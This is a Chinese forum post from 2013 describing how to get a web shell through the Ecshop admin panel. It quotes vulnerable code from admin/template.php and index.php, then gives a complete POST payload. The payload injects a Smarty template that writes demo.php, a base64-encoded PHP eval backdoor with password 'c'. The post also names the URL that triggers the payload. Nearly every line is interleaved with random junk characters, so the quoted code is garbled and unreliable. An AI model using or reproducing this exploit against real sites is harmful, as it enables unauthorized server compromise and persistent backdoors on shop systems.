找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2483|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板3 i/ ]7 d# ]# S

+ o( S7 U* I  B而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
# f) a  ~& p0 z$ u5 y* I/ ^但是ecshop似乎不支持{php}{/php}这个标签来执行php代码! o; O' {0 G1 J/ N. I5 J1 ^  q
admin/template.php
% V- s! v* |3 L5 n+ h& r
1 L2 Q# C  @# k6 K1 if ($_REQUEST['act'] == 'update_library') , P: _  [$ }5 b" Y, D- z
% l2 I+ y9 C1 h# ~: L5 X" b
2   ' x% C: `: ^+ Q% p  S8 Q
: E! I( R: ?& x" z8 U0 ^6 T
3 { ' s# t4 e8 E6 z8 U9 \5 s: e

7 a; r+ d' A6 b3 L& w4     check_authz_json('library_manage');
+ C3 Z% T- e" @: O& u1 u: m0 I  K; p+ e
5     z: }7 g' Q4 }
( U; ~! k; c: s! Q
6     $html = stripslashes(json_str_iconv($_POST['html']));
0 S; x6 c6 R6 ?6 f/ t8 t( f6 @- M! G
; V3 t9 d. `$ b1 Y, h( _% k. U7 e& ]4 b7   
$ p: a" g5 p' l" J( w) m3 x7 R& `8 R
% k' b+ r% E- l" c" A8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件   b. M% a4 s; X) ]

" t# d; g' h3 b! o  [9   
6 H7 v, F: m& ~7 \' Y) d
; Q* [* h6 W3 C$ K' _3 ~10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 ; h. U1 y# e: B$ Y' m' M2 e

( B4 r: y3 p% e' r11   
4 G( q4 c  {) ^6 u6 r8 x5 G  N# z' D- v9 c9 @+ E) J# u0 D4 O
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); $ J7 [! L' }& c  Z6 B8 q% c% ]
5 j0 d3 D0 O5 T3 o3 }- G4 B
13   
! t' `- p( i7 T& g1 p5 e! L% b
/ R" R: H' x! ]6 o! G& i: X14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 # m/ X4 j  D' M$ m: G1 {9 H
0 ^- U- z9 i. ?: d5 |
15     {
2 c7 c( g" N& N4 @. ]6 |( |1 w3 ?% Q- e* c0 Z- R* B" w
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 r8 i% a$ u* I0 v
9 @& y7 B% t; E' n! w3 C, z17         make_json_result('', $_LANG['update_lib_success']);
& n6 y6 V* F$ J+ B5 ~! Z" B6 o
1 h: E1 h/ }+ c18     }
9 I+ N3 c% e' N6 i
  W- m& g: y$ p9 l19     else
, P% e  A8 ~2 P9 e7 Z- S4 Y+ n8 D- r/ c& l- c( G
20     {
4 O5 j# I5 N7 C6 d( [/ \( u8 h7 i1 V) U
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
: }' Y5 B) e" ?% H+ P) o4 ~+ E. s6 u+ l' }% \
22     }
6 [- O( Q/ C" \/ x: E8 \
+ ?$ h* R9 Y; F( b# H23 } 2 U( c' H6 ~# s2 ]

* L* c( g7 R. }9 n那么找个比较方便调用了模板的文件6 v& R; @  r8 R  X. Z( A& P! P
index.php, U. ]  }- D. g0 H4 ?

" ]5 \) F8 \  Y  ?1 if ($act == 'cat_rec')
' Q( R, S2 T) e- j7 Y. m/ T; v3 R+ o/ Q
2   " z7 b5 \  H6 x

& Z2 J) X4 d8 g" v3 {   D, ^$ A5 I+ Y& D1 F  m! t

' q! ^9 X# D, F9 M5 T4   6 f, D4 f" ~' p7 H" m

7 n( H" n6 N6 i$ P. }, U5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
( @* o8 k4 n3 n  f# A6 W2 s4 s
( K  l5 c. F3 q. I- [3 Q0 ?6   / T' f6 y9 ?1 `7 v1 k
9 Q2 O  ?! {  N7 O% J3 r! N
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
6 [0 S$ c0 Y+ W( }, s. c7 w8 e1 Q) Z3 D. _# t% B
8   7 N* ?' j4 G7 y) q! {

/ p0 f% e. Z  {3 y) r9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
6 U, }. F1 A; e7 ]3 G& S3 G) q  p4 c9 z2 @2 K
10   
, J5 n0 y: y% ^$ O
! T3 ^# C9 z- h0 o5 v. v# O11     include_once('includes/cls_json.php');
3 T) s% Q: N# W7 |5 {
' m& c, y: J4 ^) e" a  o0 N12   * d9 c6 x( ?( l$ O# r

" U- v' ~1 b4 h& i" K- H# o2 |4 Z13     $json = new JSON; 5 r; w- k6 A( k/ Y0 F/ o  P, b

  ?+ a9 x/ P, e7 M4 I14   
: l5 p: A. b  ]- Q7 f7 Y! A7 v; {1 B% D( m+ r1 P6 X6 R
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
0 N, p# r; Z& f6 w: x3 p7 _. R1 W6 M, a  Q2 T! Q
16   
% K8 A- q% U; F0 ~' v0 y: ~- w0 l  e% X! n
17     $children = get_children($cat_id);
$ L" k6 W- p- V8 P; k9 G' z
# h# S1 t$ v1 S0 p( x( o18   
. Z6 `% {3 E9 b/ V0 L% q" g/ \5 j
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 - \7 e  w$ `. p! h" H

- S; ~7 E. V# e# U: n20   
; `6 \2 w6 t& y+ ?! J& X2 @4 D& E
/ N1 ^4 w4 b5 {# V# j& t21     $smarty->assign('cat_rec_sign', 1);
3 A/ y/ |! y" V: b+ N) o8 v% g, J3 e6 N; d* P5 S! y/ m! D9 M
22   
1 K2 z2 Z4 R! V, C9 H5 J& ^
/ U9 P- G, E2 \9 ?: u" m0 \; r# E, F23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
, `$ o$ o* `) [# {! H: P  Z
6 M3 x. o; B" X3 i; a# {24   # V, Q3 ~# x9 \+ |

5 c5 N. }7 E& B3 y) ~25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
6 n: c: v) q$ Q7 M# N8 y1 A# o" ?; I! {6 X% t: T! B
26   ; l* V2 `: D. e, E6 ~1 m
& G2 {: a" ?) |
27         echo $rec_array[$rec_type];
) n0 k; |2 ?; B$ o  G* e( F6 c
8 O) q; A! ?3 I6 g28   
4 I. C2 `4 _) T( F* v& D' E. Z5 ?& F, |8 F
29     die($json->encode($result)); 8 F8 v5 }* R- V+ l0 F/ A
" O8 D$ Y9 Y% V& J
30   & |- H; ~3 V3 @6 d- O

2 X# T$ g1 Y& @3 `9 g9 V' p31 }
! Y% ^+ @; ?+ G. {  b
. I1 A9 a/ L3 k2 V+ w4 }" {6 l那么就有利用方法了
* T; Q/ X7 N9 X! ^; npost包到http://localhost/ec/admin/template.php?act=update_library) B4 d+ Z# q& A
Post内容:
( ^! U% Z, g2 r+ s( r
+ n# ^) H6 Z" k8 J: [& ?3 v
( U, V9 H; R. N9 d: P: H4 e4 ~4 Y+ F1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
/ z' e$ ?+ T7 {% Q
) f5 d- s8 Z; k# x& n" ^0 l- M8 {2 v然后访问http://localhost/ec/index.php?act=cat_rec# [+ ~0 E& b5 u

! ^0 F5 g& T1 y4 g/ [  ~& R5 p: I, jshel地址:http://localhost/ec/demo.php
  J- Z+ i1 v0 R8 F0 P4 s密码c
$ g, E/ ]' u) A# e' j! `: t+ ?/ C- b/ G! @6 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表